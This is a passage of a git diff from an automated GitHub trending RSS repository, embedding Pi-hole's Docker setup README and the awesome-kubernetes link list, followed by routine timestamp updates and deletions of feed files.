already be in use inside the container! (Make sure it is different to <code>PIHOLE_GID</code> if you are using that, also)</td> </tr> <tr> <td><code>WEBLOGS_STDOUT</code></td> <td>0</td> <td>0|1</td> <td>0 logs to defined files, 1 redirect access and error logs to stdout</td> </tr> </tbody> </table> <h2>Deprecated environment variables:</h2> <p>While these may still work, they are likely to be removed in a future version. Where applicable, alternative variable names are indicated. Please review the table above for usage of the alternative variables</p> <table> <thead> <tr> <th>Docker Environment Var.</th> <th>Description</th> <th>Replaced By</th> </tr> </thead> <tbody> <tr> <td><code>CONDITIONAL_FORWARDING</code></td> <td>Enable DNS conditional forwarding for device name resolution</td> <td><code>REV_SERVER</code></td> </tr> <tr> <td><code>CONDITIONAL_FORWARDING_IP</code></td> <td>If conditional forwarding is enabled, set the IP of the local network router</td> <td><code>REV_SERVER_TARGET</code></td> </tr> <tr> <td><code>CONDITIONAL_FORWARDING_DOMAIN</code></td> <td>If conditional forwarding is enabled, set the domain of the local network router</td> <td><code>REV_SERVER_DOMAIN</code></td> </tr> <tr> <td><code>CONDITIONAL_FORWARDING_REVERSE</code></td> <td>If conditional forwarding is enabled, set the reverse DNS of the local network router (e.g. <code>0.168.192.in-addr.arpa</code>)</td> <td><code>REV_SERVER_CIDR</code></td> </tr> <tr> <td><code>DNS1</code></td> <td>Primary upstream DNS provider, default is google DNS</td> <td><code>PIHOLE_DNS_</code></td> </tr> <tr> <td><code>DNS2</code></td> <td>Secondary upstream DNS provider, default is google DNS, <code>no</code> if only one DNS should used</td> <td><code>PIHOLE_DNS_</code></td> </tr> <tr> <td><code>ServerIP</code></td> <td>Set to your server's LAN IP, used by web block modes and lighttpd bind address</td> <td><code>FTLCONF_LOCAL_IPV4</code></td> </tr> <tr> <td><code>ServerIPv6</code></td> <td><strong>If you have a v6 network</strong> set to your server's LAN IPv6 to block IPv6 ads fully</td> <td><code>FTLCONF_LOCAL_IPV6</code></td> </tr> <tr> <td><code>FTLCONF_REPLY_ADDR4</code></td> <td>Set to your server's LAN IP, used by web block modes and lighttpd bind address</td> <td><code>FTLCONF_LOCAL_IPV4</code></td> </tr> <tr> <td><code>FTLCONF_REPLY_ADDR6</code></td> <td><strong>If you have a v6 network</strong> set to your server's LAN IPv6 to block IPv6 ads fully</td> <td><code>FTLCONF_LOCAL_IPV6</code></td> </tr> </tbody> </table> <p>To use these env vars in docker run format style them like: <code>-e DNS1=1.1.1.1</code></p> <p>Here is a rundown of other arguments for your docker-compose / docker run.</p> <table> <thead> <tr> <th>Docker Arguments</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>-p &lt;port&gt;:&lt;port&gt;</code> <strong>Recommended</strong></td> <td>Ports to expose (53, 80, 67), the bare minimum ports required for Pi-holes HTTP and DNS services</td> </tr> <tr> <td><code>--restart=unless-stopped</code><br> <strong>Recommended</strong></td> <td>Automatically (re)start your Pi-hole on boot or in the event of a crash</td> </tr> <tr> <td><code>-v $(pwd)/etc-pihole:/etc/pihole</code><br> <strong>Recommended</strong></td> <td>Volumes for your Pi-hole configs help persist changes across docker image updates</td> </tr> <tr> <td><code>-v $(pwd)/etc-dnsmasq.d:/etc/dnsmasq.d</code><br> <strong>Recommended</strong></td> <td>Volumes for your dnsmasq configs help persist changes across docker image updates</td> </tr> <tr> <td><code>--net=host</code><br> <em>Optional</em></td> <td>Alternative to <code>-p &lt;port&gt;:&lt;port&gt;</code> arguments (Cannot be used at same time as -p) if you don't run any other web application. DHCP runs best with --net=host, otherwise your router must support dhcp-relay settings.</td> </tr> <tr> <td><code>--cap-add=NET_ADMIN</code><br> <em>Recommended</em></td> <td>Commonly added capability for DHCP, see <a href="https://raw.githubusercontent.com/pi-hole/docker-pi-hole/master/#note-on-capabilities">Note on Capabilities</a> below for other capabilities.</td> </tr> <tr> <td><code>--dns=127.0.0.1</code><br> <em>Optional</em></td> <td>Sets your container's resolve settings to localhost so it can resolve DHCP hostnames from Pi-hole's DNSMasq, may fix resolution errors on container restart.</td> </tr> <tr> <td><code>--dns=1.1.1.1</code><br> <em>Optional</em></td> <td>Sets a backup server of your choosing in case DNSMasq has problems starting</td> </tr> <tr> <td><code>--env-file .env</code> <br> <em>Optional</em></td> <td>File to store environment variables for docker replacing <code>-e key=value</code> settings. Here for convenience</td> </tr> </tbody> </table> <h2>Tips and Tricks</h2> <ul> <li>A good way to test things are working right is by loading this page: <a href="http://pi.hole/admin/">http://pi.hole/admin/</a></li> <li><a href="https://discourse.pi-hole.net/t/how-do-i-set-or-reset-the-web-interface-password/1328">How do I set or reset the Web interface Password?</a> <ul> <li><code>docker exec -it pihole_container_name pihole -a -p</code> - then enter your password into the prompt</li> </ul> </li> <li>Port conflicts? Stop your server's existing DNS / Web services. <ul> <li>Don't forget to stop your services from auto-starting again after you reboot</li> <li>Ubuntu users see below for more detailed information</li> </ul> </li> <li>You can map other ports to Pi-hole port 80 using docker's port forwarding like this <code>-p 8080:80</code> if you are using the default blocking mode. If you are using the legacy IP blocking mode, you should not remap this port. <ul> <li><a href="https://github.com/pi-hole/docker-pi-hole/raw/master/examples/docker-compose-nginx-proxy.yml">Here is an example of running with nginxproxy/nginx-proxy</a> (an nginx auto-configuring docker reverse proxy for docker) on my port 80 with Pi-hole on another port. Pi-hole needs to be <code>DEFAULT_HOST</code> env in nginxproxy/nginx-proxy and you need to set the matching <code>VIRTUAL_HOST</code> for the Pi-hole's container. Please read nginxproxy/nginx-proxy readme for more info if you have trouble.</li> </ul> </li> <li>Docker's default network mode <code>bridge</code> isolates the container from the host's network. This is a more secure setting, but requires setting the Pi-hole DNS option for <em>Interface listening behavior</em> to "Listen on all interfaces, permit all origins".</li> </ul> <h3>Installing on Ubuntu or Fedora</h3> <p>Modern releases of Ubuntu (17.10+) and Fedora (33+) include <a href="http://manpages.ubuntu.com/manpages/bionic/man8/systemd-resolved.service.8.html"><code>systemd-resolved</code></a> which is configured by default to implement a caching DNS stub resolver. This will prevent pi-hole from listening on port 53. The stub resolver should be disabled with: <code>sudo sed -r -i.orig 's/#?DNSStubListener=yes/DNSStubListener=no/g' /etc/systemd/resolved.conf</code></p> <p>This will not change the nameserver settings, which point to the stub resolver thus preventing DNS resolution. Change the <code>/etc/resolv.conf</code> symlink to point to <code>/run/systemd/resolve/resolv.conf</code>, which is automatically updated to follow the system's <a href="https://netplan.io/"><code>netplan</code></a>: <code>sudo sh -c 'rm /etc/resolv.conf &amp;&amp; ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf'</code> After making these changes, you should restart systemd-resolved using <code>systemctl restart systemd-resolved</code></p> <p>Once pi-hole is installed, you'll want to configure your clients to use it (<a href="https://discourse.pi-hole.net/t/how-do-i-configure-my-devices-to-use-pi-hole-as-their-dns-server/245">see here</a>). If you used the symlink above, your docker host will either use whatever is served by DHCP, or whatever static setting you've configured. If you want to explicitly set your docker host's nameservers you can edit the netplan(s) found at <code>/etc/netplan</code>, then run <code>sudo netplan apply</code>. Example netplan:</p> <pre><code class="language-yaml">network: ethernets: ens160: dhcp4: true dhcp4-overrides: use-dns: false nameservers: addresses: [127.0.0.1] version: 2 </code></pre> <p>Note that it is also possible to disable <code>systemd-resolved</code> entirely. However, this can cause problems with name resolution in vpns (<a href="https://bugs.launchpad.net/network-manager/+bug/1624317">see bug report</a>). It also disables the functionality of netplan since systemd-resolved is used as the default renderer (<a href="http://manpages.ubuntu.com/manpages/bionic/man5/netplan.5.html#description">see <code>man netplan</code></a>). If you choose to disable the service, you will need to manually set the nameservers, for example by creating a new <code>/etc/resolv.conf</code>.</p> <p>Users of older Ubuntu releases (circa 17.04) will need to disable dnsmasq.</p> <h2>Installing on Dokku</h2> <p>@Rikj000 has produced a guide to assist users <a href="https://github.com/Rikj000/Pihole-Dokku-Installation">installing Pi-hole on Dokku</a></p> <h2>Docker tags and versioning</h2> <p>The primary docker tags are explained in the following table. <a href="https://store.docker.com/community/images/pihole/pihole/tags">Click here to see the full list of tags</a>. See <a href="https://github.com/pi-hole/docker-pi-hole/releases">GitHub Release notes</a> to see the specific version of Pi-hole Core, Web, and FTL included in the release.</p> <p>The Date-based (including incremented "Patch" versions) do not relate to any kind of semantic version number, rather a date is used to differentiate between the new version and the old version, nothing more. Release notes will always contain full details of changes in the container, including changes to core Pi-hole components</p> <table> <thead> <tr> <th>tag</th> <th>description</th> </tr> </thead> <tbody> <tr> <td><code>latest</code></td> <td>Always latest release</td> </tr> <tr> <td><code>2022.04.0</code></td> <td>Date-based release</td> </tr> <tr> <td><code>2022.04.1</code></td> <td>Second release in a given month</td> </tr> <tr> <td><code>dev</code></td> <td>Similar to <code>latest</code>, but for the development branch (pushed occasionally)</td> </tr> <tr> <td><code>*beta</code></td> <td>Early beta releases of upcoming versions - here be dragons</td> </tr> <tr> <td><code>nightly</code></td> <td>Like <code>dev</code> but pushed every night and pulls from the latest <code>development</code> branches of the core Pi-hole components (Pi-hole, AdminLTE, FTL)</td> </tr> </tbody> </table> <h2>Upgrading, Persistence, and Customizations</h2> <p>The standard Pi-hole customization abilities apply to this docker, but with docker twists such as using docker volume mounts to map host stored file configurations over the container defaults. However, mounting these configuration files as read-only should be avoided. Volumes are also important to persist the configuration in case you have removed the Pi-hole container which is a typical docker upgrade pattern.</p> <h3>Upgrading / Reconfiguring</h3> <p>Do not attempt to upgrade (<code>pihole -up</code>) or reconfigure (<code>pihole -r</code>). New images will be released for upgrades, upgrading by replacing your old container with a fresh upgraded image is the 'docker way'. Long-living docker containers are not the docker way since they aim to be portable and reproducible, why not re-create them often! Just to prove you can.</p> <ol start="0"> <li>Read the release notes for both this Docker release and the Pi-hole release <ul> <li>This will help you avoid common problems due to any known issues with upgrading or newly required arguments or variables</li> <li>We will try to put common break/fixes at the top of this readme too</li> </ul> </li> <li>Download the latest version of the image: <code>docker pull pihole/pihole</code></li> <li>Throw away your container: <code>docker rm -f pihole</code> <ul> <li><strong>Warning</strong> When removing your pihole container you may be stuck without DNS until step 3; <strong>docker pull</strong> before <strong>docker rm -f</strong> to avoid DNS interruption <strong>OR</strong> always have a fallback DNS server configured in DHCP to avoid this problem altogether.</li> <li>If you care about your data (logs/customizations), make sure you have it volume-mapped or it will be deleted in this step.</li> </ul> </li> <li>Start your container with the newer base image: <code>docker run &lt;args&gt; pihole/pihole</code> (<code>&lt;args&gt;</code> being your preferred run volumes and env vars)</li> </ol> <p>Why is this style of upgrading good? A couple reasons: Everyone is starting from the same base image which has been tested to known it works. No worrying about upgrading from A to B, B to C, or A to C is required when rolling out updates, it reduces complexity, and simply allows a 'fresh start' every time while preserving customizations with volumes. Basically I'm encouraging <a href="https://martinfowler.com/bliki/PhoenixServer.html">phoenix server</a> principles for your containers.</p> <p>To reconfigure Pi-hole you'll either need to use an existing container environment variables or if there is no a variable for what you need, use the web UI or CLI commands.</p> <h3>Pi-hole features</h3> <p>Here are some relevant wiki pages from <a href="https://github.com/pi-hole/pi-hole/raw/master/README.md#get-help-or-connect-with-us-on-the-web">Pi-hole's documentation</a>. The web interface or command line tools can be used to implement changes to pihole.</p> <p>We install all pihole utilities so the the built in <a href="https://discourse.pi-hole.net/t/the-pihole-command-with-examples/738">pihole commands</a> will work via <code>docker exec &lt;container&gt; &lt;command&gt;</code> like so:</p> <ul> <li><code>docker exec pihole_container_name pihole updateGravity</code></li> <li><code>docker exec pihole_container_name pihole -w spclient.wg.spotify.com</code></li> <li><code>docker exec pihole_container_name pihole -wild example.com</code></li> </ul> <h3>Customizations</h3> <p>The webserver and DNS service inside the container can be customized if necessary. Any configuration files you volume mount into <code>/etc/dnsmasq.d/</code> will be loaded by dnsmasq when the container starts or restarts or if you need to modify the Pi-hole config it is located at <code>/etc/dnsmasq.d/01-pihole.conf</code>. The docker start scripts runs a config test prior to starting so it will tell you about any errors in the docker log.</p> <p>Similarly for the webserver you can customize configs in /etc/lighttpd</p> <h3>Systemd init script</h3> <p>As long as your docker system service auto starts on boot and you run your container with <code>--restart=unless-stopped</code> your container should always start on boot and restart on crashes. If you prefer to have your docker container run as a systemd service instead, add the file <a href="https://raw.githubusercontent.com/pi-hole/docker-pi-hole/master/examples/pihole.service">pihole.service</a> to "/etc/systemd/system"; customize whatever your container name is and remove <code>--restart=unless-stopped</code> from your docker run. Then after you have initially created the docker container using the docker run command above, you can control it with "systemctl start pihole" or "systemctl stop pihole" (instead of <code>docker start</code>/<code>docker stop</code>). You can also enable it to auto-start on boot with "systemctl enable pihole" (as opposed to <code>--restart=unless-stopped</code> and making sure docker service auto-starts on boot).</p> <p>NOTE: After initial run you may need to manually stop the docker container with "docker stop pihole" before the systemctl can start controlling the container.</p> <h2>Note on Capabilities</h2> <p>DNSMasq / <a href="https://docs.pi-hole.net/ftldns/in-depth/#linux-capabilities">FTLDNS</a> expects to have the following capabilities available:</p> <ul> <li><code>CAP_NET_BIND_SERVICE</code>: Allows FTLDNS binding to TCP/UDP sockets below 1024 (specifically DNS service on port 53)</li> <li><code>CAP_NET_RAW</code>: use raw and packet sockets (needed for handling DHCPv6 requests, and verifying that an IP is not in use before leasing it)</li> <li><code>CAP_NET_ADMIN</code>: modify routing tables and other network-related operations (in particular inserting an entry in the neighbor table to answer DHCP requests using unicast packets)</li> <li><code>CAP_SYS_NICE</code>: FTL sets itself as an important process to get some more processing time if the latter is running low</li> <li><code>CAP_CHOWN</code>: we need to be able to change ownership of log files and databases in case FTL is started as a different user than <code>pihole</code></li> </ul> <p>This image automatically grants those capabilities, if available, to the FTLDNS process, even when run as non-root.<br> By default, docker does not include the <code>NET_ADMIN</code> capability for non-privileged containers, and it is recommended to explicitly add it to the container using <code>--cap-add=NET_ADMIN</code>.<br> However, if DHCP and IPv6 Router Advertisements are not in use, it should be safe to skip it. For the most paranoid, it should even be possible to explicitly drop the <code>NET_RAW</code> capability to prevent FTLDNS from automatically gaining it.</p> <h2>Note on Watchtower</h2> <p>We have noticed that a lot of people use Watchtower to keep their Pi-hole containers up to date. For the same reason we don't provide an auto-update feature on a bare metal install, you <em>should not</em> have a system automatically update your Pi-hole container. Especially unattended. As much as we try to ensure nothing will go wrong, sometimes things do go wrong - and you need to set aside time to <em>manually</em> pull and update to the version of the container you wish to run. The upgrade process should be along the lines of:</p> <ul> <li><strong>Important</strong>: Read the release notes. Sometimes you will need to make changes other than just updating the image</li> <li>Pull the new image</li> <li>Stop and <em>remove</em> the running Pi-hole container <ul> <li>If you care about your data (logs/customizations), make sure you have it volume-mapped or it will be deleted in this step.</li> </ul> </li> <li>Recreate the container using the new image</li> </ul> <p>Pi-hole is an integral part of your network, don't let it fall over because of an unattended update in the middle of the night.</p> <h1>User Feedback</h1> <p>Please report issues on the <a href="https://github.com/pi-hole/docker-pi-hole">GitHub project</a> when you suspect something docker related. Pi-hole or general docker questions are best answered on our <a href="https://discourse.pi-hole.net/c/bugs-problems-issues/docker/30">user forums</a>.</p> - - - ramitsurana/awesome-kubernetes - 2023-09-24T02:01:04Z - tag:github.com,2023-09-24:/ramitsurana/awesome-kubernetes - - <p>A curated list for awesome kubernetes sources 🚢🎉</p><hr><h1>Awesome-Kubernetes</h1> <p><a href="https://github.com/sindresorhus/awesome"><img src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg?sanitize=true" alt="Awesome"></a> <a href="https://github.com/ramitsurana/awesome-kubernetes/actions/workflows/links.yaml"><img src="https://github.com/ramitsurana/awesome-kubernetes/actions/workflows/links.yaml/badge.svg?sanitize=true" alt="Links validator"></a> <a href="https://github.com/ramitsurana/awesome-kubernetes/actions/workflows/main.yml"><img src="https://github.com/ramitsurana/awesome-kubernetes/actions/workflows/main.yml/badge.svg?sanitize=true" alt="Python application"></a> <a href="https://kubernetes.slack.com/messages/awesome-kubernetes"><img src="https://img.shields.io/badge/Slack-Channel-blue.svg?style=flat-square" alt="Slack Widget"></a> <a href="https://awesome-kubernetes-by-ramitsurana.readthedocs.io/en/latest/?badge=latest"><img src="https://readthedocs.org/projects/awesome-kubernetes-by-ramitsurana/badge/?version=latest" alt="Documentation Status"></a> <a href="https://mybinder.org/v2/gh/ramitsurana/awesome-kubernetes/master"><img src="https://mybinder.org/badge_logo.svg?sanitize=true" alt="Binder"></a></p> <p>A curated list for awesome kubernetes sources inspired by <a href="https://github.com/sindresorhus/awesome">@sindresorhus' awesome</a></p> <p><img src="https://cloud.githubusercontent.com/assets/8342133/26794201/62c1a006-4a3e-11e7-8bf9-4449814648f2.png" alt="final-k8s"></p> <blockquote> <p>"Talent wins games, but teamwork and intelligence wins championships."</p> <p>-- Michael Jordan</p> </blockquote> <p>Without the help from these <a href="https://github.com/ramitsurana/awesome-kubernetes/graphs/contributors">amazing contributors</a>, building this awesome-repo would never have been possible. Thank You very much everyone !!</p> <p><strong>Thanks to Gitbook.This awesome list can now be downloaded and read in the form of a book. Check it out --&gt; <a href="https://ramitsurana.gitbook.io/awesome-kubernetes/docs">https://ramitsurana.gitbook.io/awesome-kubernetes/docs</a> .Keep Learning Keep Sharing !!</strong></p> <p><strong>If you see a package or project here that is no longer maintained or is not a good fit, please submit a pull request to improve this file. Thank you!</strong></p> <h2>What is Kubernetes?</h2> <blockquote> <p>Kubernetes is an open-source system for automating deployment, scaling, and management of containerized applications. It groups containers that make up an application into logical units for easy management and discovery.</p> </blockquote> <p><em>Source:</em> <a href="http://kubernetes.io/">What is Kubernetes</a></p> <h2>History</h2> <p><strong>Kubernetes is known to be a descendant of Google's system BORG</strong></p> <blockquote> <p>The first unified container-management system developed at Google was the system we internally call Borg. It was built to manage both long-running services and batch jobs, which had previously been handled by two separate systems: Babysitter and the Global Work Queue. The latter’s architecture strongly influenced Borg, but was focused on batch jobs; both predated Linux control groups.</p> </blockquote> <p><em>Source:</em> <a href="http://research.google.com/pubs/archive/44843.pdf">Kubernetes Past</a></p> <h2>Date of Birth</h2> <p>Kubernetes celebrates its birthday every year on 21st July. Kubernetes 1.0 was released on July 21 2015, after being first announced to the public at Dockercon in June 2014.</p> <h2>Roadmap</h2> <p>The awesome-kubernetes will now soon be available in the form of different releases and package bundles, It means that you can download the awesome kubernetes release up to a certain period of time, The release for awesome kubernetes 2015 bundle is released. Checkout the releases column for more info.</p> <h2>Featured On</h2> <ul> <li><a href="https://cloud.google.com/community/">Google Cloud</a></li> <li><a href="https://www.freecodecamp.org/news/a-friendly-introduction-to-kubernetes-670c50ce4542/">freeCodeCamp</a></li> </ul> <hr> <h1>Starting Point</h1> <p><em>A place that marks the beginning of a journey</em></p> <ul> <li><a href="https://docs.google.com/presentation/d/1JqcALpsg07eH665ZXQrIvOcin6SzzsIUjMRRVivrZMg/edit?usp=sharing">Kubernetes Community Overview and Contributions Guide</a> by <a href="https://twitter.com/idvoretskyi/">Ihor Dvoretskyi</a></li> <li><a href="http://blog.jetstack.io/blog/k8s-getting-started-part1/">Are you Ready to Manage your Infrastructure like Google?</a></li> <li><a href="http://www.businessinsider.in/Google-is-years-ahead-when-it-comes-to-the-cloud-but-its-happy-the-world-is-catching-up/articleshow/47793327.cms">Google is years ahead when it comes to the cloud, but it's happy the world is catching up</a></li> <li><a href="http://www.ctl.io/developers/blog/post/what-is-kubernetes-and-how-to-use-it/">An Intro to Google’s Kubernetes and How to Use It</a> by <a href="https://twitter.com/rhein_wein">Laura Frank</a></li> <li><a href="https://github.com/meteorhacks/meteorhacks.github.io/raw/master/_posts/2015-04-22-learn-kubernetes-the-future-of-the-cloud.md">Kubernetes: The Future of Cloud Hosting</a> by <a href="https://twitter.com/meteorhacks">Meteorhacks</a></li> <li><a href="http://thevirtualizationguy.wordpress.com/tag/kubernetes/">Kubernetes by Google</a> by <a href="https://twitter.com/GastonPantana">Gaston Pantana</a></li> <li><a href="http://blog.arungupta.me/key-concepts-kubernetes/">Key Concepts</a> by <a href="https://twitter.com/arungupta">Arun Gupta</a></li> <li><a href="https://keithtenzer.com/containers/application-containers-kubernetes-and-docker-from-scratch/">Application Containers: Kubernetes and Docker from Scratch</a> by <a href="https://twitter.com/keithtenzer">Keith Tenzer</a></li> <li><a href="http://omerio.com/2015/12/18/learn-the-kubernetes-key-concepts-in-10-minutes/">Learn the Kubernetes Key Concepts in 10 Minutes</a> by <a href="https://twitter.com/omerio">Omer Dawelbeit</a></li> <li><a href="https://kubernetes.io/blog/2016/06/illustrated-childrens-guide-to-kubernetes/">The Children's Illustrated Guide to Kubernetes</a> by <a href="https://github.com/deis">Deis</a></li> <li><a href="http://medium.com/@mhausenblas/the-kubectl-run-command-27c68de5cb76#.mlwi5an7o">The ‘kubectl run’ command</a> by <a href="https://twitter.com/mhausenblas">Michael Hausenblas</a></li> <li><a href="https://github.com/xiaopeng163/docker-k8s-lab">Docker Kubernetes Lab Handbook</a> by <a href="https://twitter.com/xiaopeng163">Peng Xiao</a></li> <li><a href="https://hackr.io/tutorials/learn-kubernetes">Curated Resources for Kubernetes</a></li> <li><a href="https://cloud.google.com/kubernetes-engine/kubernetes-comic/">Kubernetes Comic</a> by <a href="https://cloud.google.com/">Google Cloud Platform</a></li> <li><a href="https://medium.com/google-cloud/kubernetes-101-pods-nodes-containers-and-clusters-c1509e409e16">Kubernetes 101: Pods, Nodes, Containers, and Clusters</a> by <a href="https://medium.com/@sanche">Dan Sanche</a></li> <li><a href="http://www.digitalocean.com/community/tutorials/an-introduction-to-kubernetes">An Introduction to Kubernetes</a> by <a href="https://twitter.com/jmellingwood">Justin Ellingwood</a></li> <li><a href="https://rinormaloku.com/introduction-application-architecture/">Kubernetes and everything else - Introduction to Kubernetes and it's context</a> by <a href="https://twitter.com/rinormaloku">Rinor Maloku</a></li> <li><a href="http://severalnines.com/blog/installing-kubernetes-cluster-minions-centos7-manage-pods-services">Installation on Centos 7</a></li> <li><a href="https://mherman.org/blog/2018/08/20/setting-up-a-kubernetes-cluster-on-ubuntu/">Setting Up a Kubernetes Cluster on Ubuntu 18.04</a></li> <li><a href="https://landscape.cncf.io/">Cloud Native Landscape</a></li> <li><a href="https://www.freecodecamp.org/news/the-kubernetes-handbook/">The Kubernetes Handbook</a> by <a href="https://twitter.com/frhnhsin">Farhan Hasin Chowdhury</a></li> <li><a href="https://www.manning.com/books/bootstrapping-microservices-with-docker-kubernetes-and-terraform">Bootstrapping Microservices</a> by <a href="https://twitter.com/ashleydavis75">Ashley Davis</a></li> <li><a href="https://www.manning.com/books/kubernetes-native-microservices-with-quarkus-and-microprofile">Kubernetes Native Microservices with Quarkus, and MicroProfile</a> by <a href="https://twitter.com/jclingan">John Clingan</a> and <a href="https://twitter.com/kenfinnigan">Ken Finnigan</a></li> <li><a href="https://www.loginradius.com/blog/async/rest-api-kubernetes/">How to Deploy a REST API in Kubernetes</a></li> <li><a href="https://www.manning.com/books/securing-kubernetes-secrets">Securing Kubernetes Secrets</a> by <a href="https://github.com/lordofthejars">Alex Soto Bueno</a> and <a href="https://github.com/sabre1041">Andrew Block</a></li> <li><a href="https://www.manning.com/books/kubernetes-on-windows">Kubernetes on Windows</a> by <a href="https://twitter.com/jayunit100">Jay Vyas</a> and James Sturtevant</li> <li><a href="https://blog.brainboard.co/kubernetes-explained-dde470707cb2">Kubernetes explained</a></li> <li><a href="https://spacelift.io/blog/kubernetes-secrets">How to Manage Secrets in Kubernetes – A Complete Guide</a></li> <li><a href="https://dev.to/idanref/kubernetes-concepts-deep-dive-50en">Kubernetes Concepts: Deep Dive</a> by <a href="https://www.linkedin.com/in/idan-refaeli-65082a175/">Idan Refaeli</a></li> </ul> <h1>Contributing</h1> <p>Contributions are most welcome!</p> <p>This list is just getting started, please contribute to make it super awesome.</p> <p>Check out the <a href="https://github.com/ramitsurana/awesome-kubernetes/raw/master/docs/guidelines/CONTRIBUTING.md">Contributing Guidelines</a>.</p> <h1>License</h1> <p><a rel="license" href="http://creativecommons.org/licenses/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc/4.0/88x31.png"></a><br><span xmlns:dct="http://purl.org/dc/terms/" href="http://purl.org/dc/dcmitype/InteractiveResource" property="dct:title" rel="dct:type">awesome-kubernetes</span> by <a xmlns:cc="http://creativecommons.org" href="http://www.linkedin.com/in/ramitsurana" property="cc:attributionName" rel="cc:attributionURL">Ramit Surana</a> is licensed under a <a rel="license" href="http://creativecommons.org/licenses/">Creative Commons Attribution-NonCommercial 4.0 International License</a>.</p> - - \ No newline at end of file diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml index da17bc14cf4..5df2c056776 100644 --- a/shellcheck-config/daily/index.xml +++ b/shellcheck-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellCheck Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:27Z + 2023-09-25T01:40:31Z Daily Trending of ShellCheck Config in GitHub \ No newline at end of file diff --git a/shellcheck-config/weekly/index.xml b/shellcheck-config/weekly/index.xml deleted file mode 100644 index e1faf59f958..00000000000 --- a/shellcheck-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShellCheck Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:00Z - Weekly Trending of ShellCheck Config in GitHub - - \ No newline at end of file diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml index 1291617d62c..8f8d122da5e 100644 --- a/shellsession/daily/index.xml +++ b/shellsession/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellSession Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:45Z + 2023-09-25T01:40:51Z Daily Trending of ShellSession in GitHub \ No newline at end of file diff --git a/shellsession/weekly/index.xml b/shellsession/weekly/index.xml deleted file mode 100644 index dffe5d8f289..00000000000 --- a/shellsession/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShellSession Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:33Z - Weekly Trending of ShellSession in GitHub - - \ No newline at end of file diff --git a/shen/daily/index.xml b/shen/daily/index.xml index 07f3bfeed67..4acd61aab7d 100644 --- a/shen/daily/index.xml +++ b/shen/daily/index.xml @@ -1,7 +1,7 @@ GitHub Shen Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:48Z + 2023-09-25T01:40:53Z Daily Trending of Shen in GitHub \ No newline at end of file diff --git a/shen/weekly/index.xml b/shen/weekly/index.xml deleted file mode 100644 index 6b551541115..00000000000 --- a/shen/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Shen Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:35Z - Weekly Trending of Shen in GitHub - - \ No newline at end of file diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml index b72bd9aba7a..ce57c7f0b87 100644 --- a/sieve/daily/index.xml +++ b/sieve/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sieve Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:46Z + 2023-09-25T01:40:52Z Daily Trending of Sieve in GitHub \ No newline at end of file diff --git a/sieve/weekly/index.xml b/sieve/weekly/index.xml deleted file mode 100644 index 7ffb020edc2..00000000000 --- a/sieve/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sieve Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:33Z - Weekly Trending of Sieve in GitHub - - \ No newline at end of file diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml index 0b4ac4d2989..7c486379bbb 100644 --- a/singularity/daily/index.xml +++ b/singularity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Singularity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:50Z + 2023-09-25T01:40:57Z Daily Trending of Singularity in GitHub \ No newline at end of file diff --git a/singularity/weekly/index.xml b/singularity/weekly/index.xml deleted file mode 100644 index 4454dc5c1b5..00000000000 --- a/singularity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Singularity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:37Z - Weekly Trending of Singularity in GitHub - - \ No newline at end of file diff --git a/slash/daily/index.xml b/slash/daily/index.xml index 0be28cc17e1..cd4a3be4ff8 100644 --- a/slash/daily/index.xml +++ b/slash/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slash Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:49Z + 2023-09-25T01:40:58Z Daily Trending of Slash in GitHub \ No newline at end of file diff --git a/slash/weekly/index.xml b/slash/weekly/index.xml deleted file mode 100644 index af007977165..00000000000 --- a/slash/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slash Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:38Z - Weekly Trending of Slash in GitHub - - \ No newline at end of file diff --git a/slice/daily/index.xml b/slice/daily/index.xml index a07badecf66..091f6a945d4 100644 --- a/slice/daily/index.xml +++ b/slice/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slice Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:41:51Z + 2023-09-25T01:40:55Z Daily Trending of Slice in GitHub \ No newline at end of file diff --git a/slice/weekly/index.xml b/slice/weekly/index.xml deleted file mode 100644 index a250ed105b3..00000000000 --- a/slice/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slice Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:01:36Z - Weekly Trending of Slice in GitHub - - \ No newline at end of file diff --git a/slim/daily/index.xml b/slim/daily/index.xml index fff69a01cca..974fe63be60 100644 --- a/slim/daily/index.xml +++ b/slim/daily/index.xml @@ -1,7 +1,7 @@ 